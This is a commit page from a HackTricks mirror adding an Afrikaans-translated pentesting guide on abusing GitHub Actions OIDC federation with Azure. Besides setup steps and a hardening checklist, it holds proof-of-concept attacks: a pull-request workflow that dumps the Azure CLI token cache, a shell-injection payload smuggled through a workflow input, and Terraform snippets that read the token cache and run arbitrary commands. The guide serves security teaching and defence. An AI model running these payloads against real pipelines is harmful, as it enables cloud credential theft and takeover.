mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-27 05:03:31 -08:00
Translated ['src/pentesting-ci-cd/github-security/abusing-github-actions
This commit is contained in:
@@ -0,0 +1,227 @@
|
||||
# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Oorsig
|
||||
|
||||
GitHub Actions kan 'federate' na Azure Entra ID (voorheen Azure AD) met OpenID Connect (OIDC). 'n GitHub workflow vra 'n kortstondige GitHub ID-token (JWT) aan wat besonderhede oor die run enkodeer. Azure valideer hierdie token teen 'n Federated Identity Credential (FIC) op 'n App Registration (service principal) en ruil dit in vir Azure-toegangstokens (MSAL cache, bearer tokens vir Azure APIs).
|
||||
|
||||
Azure valideer ten minste:
|
||||
- iss: https://token.actions.githubusercontent.com
|
||||
- aud: api://AzureADTokenExchange (wanneer dit vir Azure-tokens omgeruil word)
|
||||
- sub: moet ooreenstem met die geconfigureerde FIC Subject identifier
|
||||
|
||||
> Die standaard GitHub aud mag 'n GitHub URL wees. Wanneer jy met Azure ruil, stel uitdruklik audience=api://AzureADTokenExchange.
|
||||
|
||||
## GitHub ID token vinnige PoC
|
||||
```yaml
|
||||
name: Print OIDC identity token
|
||||
on: { workflow_dispatch: {} }
|
||||
permissions:
|
||||
id-token: write
|
||||
jobs:
|
||||
view-token:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: get-token
|
||||
run: |
|
||||
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
|
||||
# Base64 avoid GitHub masking
|
||||
echo "$OIDC_TOKEN" | base64 -w0
|
||||
```
|
||||
Om Azure audience op token request af te dwing:
|
||||
```bash
|
||||
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
|
||||
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
|
||||
```
|
||||
## Azure opstelling (Workload Identity Federation)
|
||||
|
||||
1) Skep App Registration (service principal) en verleen die minste nodige regte (bv. Storage Blob Data Contributor op 'n spesifieke storage account).
|
||||
|
||||
2) Voeg Federated identity credentials toe:
|
||||
- Issuer: https://token.actions.githubusercontent.com
|
||||
- Audience: api://AzureADTokenExchange
|
||||
- Subject identifier: noukeurig beperk tot die beoogde workflow/run-konteks (sien Scoping and risks hieronder).
|
||||
|
||||
3) Gebruik azure/login om die GitHub ID-token te ruil en by die Azure CLI aan te meld:
|
||||
```yaml
|
||||
name: Deploy to Azure
|
||||
on:
|
||||
push: { branches: [main] }
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Az CLI login
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||
- name: Upload file to Azure
|
||||
run: |
|
||||
az storage blob upload --data "test" -c hmm -n testblob \
|
||||
--account-name sofiatest --auth-mode login
|
||||
```
|
||||
Handmatige uitruilvoorbeeld (Graph-omvang getoon; ARM of ander hulpbronne soortgelyk):
|
||||
```http
|
||||
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
|
||||
Host: login.microsoftonline.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
client_id=<app-client-id>&grant_type=client_credentials&
|
||||
client_assertion=<GitHub-ID-token>&client_info=1&
|
||||
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
|
||||
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
|
||||
```
|
||||
## GitHub OIDC subject (sub) anatomie en aanpassing
|
||||
|
||||
Standaard sub-formaat: repo:<org>/<repo>:<context>
|
||||
|
||||
Kontekswaardes sluit in:
|
||||
- environment:<env>
|
||||
- pull_request (PR word geaktiveer wanneer dit nie in 'n omgewing is nie)
|
||||
- ref:refs/(heads|tags)/<name>
|
||||
|
||||
Nuttige claims wat dikwels in die payload voorkom:
|
||||
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
|
||||
|
||||
Pas sub-samestelling aan via die GitHub API om addisionele claims in te sluit en botsingsrisiko te verminder:
|
||||
```bash
|
||||
gh api orgs/<org>/actions/oidc/customization/sub
|
||||
gh api repos/<org>/<repo>/actions/oidc/customization/sub
|
||||
# Example to include owner and visibility
|
||||
gh api \
|
||||
--method PUT \
|
||||
repos/<org>/<repo>/actions/oidc/customization/sub \
|
||||
-f use_default=false \
|
||||
-f include_claim_keys='["repository_owner","repository_visibility"]'
|
||||
```
|
||||
Nota: Dubbelpunte in omgewingname is URL‑gekodeer (%3A), wat ouer delimiter‑inspuitingstegnieke teen sub‑parsing uitskakel. Dit is egter steeds onveilig om nie‑unikale subjekte te gebruik (bv. net environment:<name>).
|
||||
|
||||
## Omvang en risiko's van FIC-subjektipe
|
||||
|
||||
- Tak/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> of ref:refs/tags/<tag>
|
||||
- Risiko: As die tak/tag onbeskerm is, kan enige bydraer push en tokens verkry.
|
||||
- Omgewing: sub=repo:<org>/<repo>:environment:<env>
|
||||
- Risiko: Onbeskermde omgewings (geen beoordelaars) laat bydraers toe om tokens te mint.
|
||||
- Pull request: sub=repo:<org>/<repo>:pull_request
|
||||
- Hoogste risiko: Enige samewerker kan 'n PR oopmaak en die FIC bevredig.
|
||||
|
||||
PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):
|
||||
```yaml
|
||||
name: Steal tokens
|
||||
on: pull_request
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
jobs:
|
||||
extract-creds:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: azure login
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||
- name: Extract access token
|
||||
run: |
|
||||
# Azure CLI caches tokens here on Linux runners
|
||||
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
|
||||
# Decode twice locally to recover the bearer token
|
||||
```
|
||||
Gerelateerde lêerliggings en notas:
|
||||
- Linux/macOS: ~/.azure/msal_token_cache.json hou MSAL-tokens vir az CLI-sessies
|
||||
- Windows: msal_token_cache.bin onder gebruikersprofiel; DPAPI‑protected
|
||||
|
||||
## Herbruikbare workflows en job_workflow_ref-omvang
|
||||
|
||||
Om 'n herbruikbare workflow aan te roep voeg job_workflow_ref by die GitHub ID-token, bv.:
|
||||
```
|
||||
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
|
||||
```
|
||||
FIC-voorbeeld om beide die caller repo en die reusable workflow te koppel:
|
||||
```
|
||||
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
|
||||
```
|
||||
Konfigureer claims in die caller repo sodat beide repo en job_workflow_ref in sub teenwoordig is:
|
||||
```http
|
||||
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
|
||||
Host: api.github.com
|
||||
Authorization: token <access token>
|
||||
|
||||
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
|
||||
```
|
||||
Waarskuwing: As jy slegs job_workflow_ref in die FIC bind, kan 'n aanvaller 'n ander repo in dieselfde org skep, dieselfde herbruikbare workflow op dieselfde ref uitvoer, die FIC bevredig, en tokens mint. Sluit altyd ook die caller repo in.
|
||||
|
||||
## Code-uitvoeringsvektore wat job_workflow_ref-beskermings omseil
|
||||
|
||||
Selfs met 'n korrek afgebakende job_workflow_ref, kan enige caller‑controlled data wat die shell sonder veilige aanhaling bereik, lei tot code-uitvoering binne die beskermde workflow‑konteks.
|
||||
|
||||
Voorbeeld van 'n kwesbare herbruikbare stap (interpolasie sonder aanhalingstekens):
|
||||
```yaml
|
||||
- name: Example Security Check
|
||||
run: |
|
||||
echo "Checking file contents"
|
||||
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
|
||||
echo "Malicious content detected!"; exit 1
|
||||
else
|
||||
echo "File contents are safe."
|
||||
fi
|
||||
```
|
||||
Kwaadaardige caller input om commands uit te voer en die Azure token cache te exfiltreer:
|
||||
```yaml
|
||||
with:
|
||||
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
|
||||
```
|
||||
## Terraform plan as an execution primitive in PRs
|
||||
|
||||
Behandel Terraform plan as kode-uitvoering. Tydens die plan kan Terraform:
|
||||
- Lees enige lêers via funksies soos file()
|
||||
- Voer opdragte uit via die external data source
|
||||
|
||||
Voorbeeld om die Azure token cache tydens die plan te exfiltrate:
|
||||
```hcl
|
||||
output "msal_token_cache" {
|
||||
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
|
||||
}
|
||||
```
|
||||
Of gebruik external om arbitrêre opdragte uit te voer:
|
||||
```hcl
|
||||
data "external" "exfil" {
|
||||
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
|
||||
}
|
||||
```
|
||||
Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.
|
||||
|
||||
## Uithardingskontrolelys
|
||||
|
||||
- Gebruik nooit sub=...:pull_request vir sensitiewe FICs nie
|
||||
- Beskerm enige branch/tag/environment wat deur FICs verwys word (branch protection, environment reviewers)
|
||||
- Verkies FICs wat afgebaken is tot beide repo en job_workflow_ref vir herbruikbare workflows
|
||||
- Pas GitHub OIDC sub aan om unieke claims in te sluit (bv., repo, job_workflow_ref, repository_owner)
|
||||
- Elimineer interpolasie van caller inputs wat nie in aanhalingstekens staan nie in run steps; enkodeer/kwoteer veilig
|
||||
- Behandel terraform plan as kode-uitvoering; beperk of isoleer identiteite in PR-kontekste
|
||||
- Dwing minste voorreg af op App Registrations; skei identiteite vir plan vs apply
|
||||
- Pin actions en herbruikbare workflows na commit SHA's (vermy branch/tag pins)
|
||||
|
||||
## Handmatige toetswenke
|
||||
|
||||
- Vra 'n GitHub ID token in‑workflow aan en druk dit base64 om masking te vermy
|
||||
- Dekodeer JWT om claims te inspekteer: iss, aud, sub, job_workflow_ref, repository, ref
|
||||
- Ruil die ID token handmatig by login.microsoftonline.com uit om FIC-matching en scopes te bevestig
|
||||
- Na azure/login, lees ~/.azure/msal_token_cache.json om teenwoordigheid van tokenmateriaal te verifieer
|
||||
|
||||
## References
|
||||
|
||||
- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
|
||||
- [azure/login action](https://github.com/Azure/login)
|
||||
- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
|
||||
- [gh CLI](https://cli.github.com/)
|
||||
- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user